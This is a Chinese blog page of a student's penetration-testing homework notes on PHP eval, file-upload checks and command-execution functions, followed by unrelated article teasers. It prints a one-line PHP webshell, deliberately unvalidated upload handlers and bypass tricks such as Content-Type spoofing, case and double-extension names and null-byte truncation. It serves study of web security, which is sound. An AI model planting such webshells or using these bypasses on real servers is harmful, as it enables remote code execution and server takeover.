news 2026/8/1 20:02:26

安全渗透第二次作业

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
安全渗透第二次作业

PHP 函数

##把字符串当作 PHP 代码执行 // eval()

这种写法会暴露系统信息

<?php eval($_GET['code']); phpinfo(); system("ls -l");php代码中用于执行系统命令的 //执行的是php中的函数 ?>

**Webshell 常见写法:**

/;/一句话木马

<?php eval($_POST['cmd']); ?>

1.核心上传函数

函数作用示例
move_uploaded_file()将上传的临时文件移动到新位置move_uploaded_file($tmp, $dest)
is_uploaded_file()判断文件是否通过 HTTP POST 上传is_uploaded_file($tmp)
copy()复制文件copy($src, $dest)
file_put_contents()写入文件file_put_contents($file, $content)

2.判断上传错误的常量

常量含义
UPLOAD_ERR_OK0上传成功
UPLOAD_ERR_INI_SIZE1超出 php.ini 的upload_max_filesize
UPLOAD_ERR_FORM_SIZE2超出表单MAX_FILE_SIZE
UPLOAD_ERR_PARTIAL3文件只有部分被上传
UPLOAD_ERR_NO_FILE4没有文件被上传
UPLOAD_ERR_NO_TMP_DIR6找不到临时文件夹

3.文件上传

3.1无任何校验(高危)

<?php $target = "uploads/" . $_FILES["file"]["name"]; move_uploaded_file($_FILES["file"]["tmp_name"], $target); ?>

漏洞: 直接上传 webshell,无任何限制

3.2只校验 Content-Type(前端校验可绕过)

<?php $type = $_FILES["file"]["type"]; if ($type == "image/jpeg" || $type == "image/png") { move_uploaded_file($_FILES["file"]["tmp_name"], $target); } ?>

漏洞:Content-Type由客户端控制,抓包改Content-Type: image/jpeg即可绕过

3.3只校验后缀名(黑名单)

<?php $block = array("php", "php3", "php5", "phtml", "pht"); $ext = pathinfo($filename, PATHINFO_EXTENSION); if (!in_array($ext, $block)) { move_uploaded_file(...); } ?>

漏洞: 可上传xxx.php.jpgxxx.phtmlxxx.PhP(大小写)、xxx.php%00.jpg(00截断)

3.4只校验文件扩展名(白名单)

<?php $allow = array("jpg", "png", "gif"); $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (in_array($ext, $allow)) { move_uploaded_file(...); } ?>

漏洞: 依赖服务器解析漏洞(apache 的x.php.jpg解析为 PHP)或内容中包含代码

4.直接执行系统命令

函数说明返回
system()执行命令并输出结果最后一行
exec()执行命令,不输出最后一行
shell_exec()执行命令,返回完整输出整个输出
passthru()执行命令,直接输出原始结果
popen()打开进程管道文件指针
proc_open()更底层的进程控制资源
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/1 20:02:01

程序员客栈接单全攻略:避开5大坑,高效拿下项目

很多想做兼职的程序员都在问&#xff1a;怎么在程序员客栈接单&#xff1f;我先说一个容易误解的地方&#xff1a;注册成功不等于进入接单状态&#xff0c;资料填得多详细也不等于马上会有项目。按照平台流程&#xff0c;开发者需要先完成资料填写和签约审核&#xff0c;再进入…

作者头像 李华
网站建设 2026/8/1 19:58:42

怎样高效使用AnimateDiff:5个实战技巧打造专业级AI动画

怎样高效使用AnimateDiff&#xff1a;5个实战技巧打造专业级AI动画 【免费下载链接】animatediff 项目地址: https://ai.gitcode.com/hf_mirrors/ai-gitcode/animatediff AnimateDiff作为当前最先进的AI动画生成框架&#xff0c;能够将静态图像转化为流畅的动态序列&am…

作者头像 李华
网站建设 2026/8/1 19:51:21

Python 环境配置(二)安装jupyter、matplotlib、numpy库

Python 环境配置(二)安装jupyter、matplotlib、numpy库一、numpypip install numpy二、matplotlibpip install matplotlib三、jupyter1、anaconda自带Jupyter2、pycharm 插件只有 Pycharm 的 Professional 版才支持 Jupyter Notebook&#xff0c;请注意版本3、新建文件#%%impor…

作者头像 李华
网站建设 2026/8/1 19:48:44

Nilesoft Shell终极指南:让Windows右键菜单更强大

Nilesoft Shell终极指南&#xff1a;让Windows右键菜单更强大 【免费下载链接】Shell Powerful context menu manager for Windows File Explorer 项目地址: https://gitcode.com/gh_mirrors/shel/Shell 还在为Windows资源管理器单调的右键菜单而烦恼吗&#xff1f;Nile…

作者头像 李华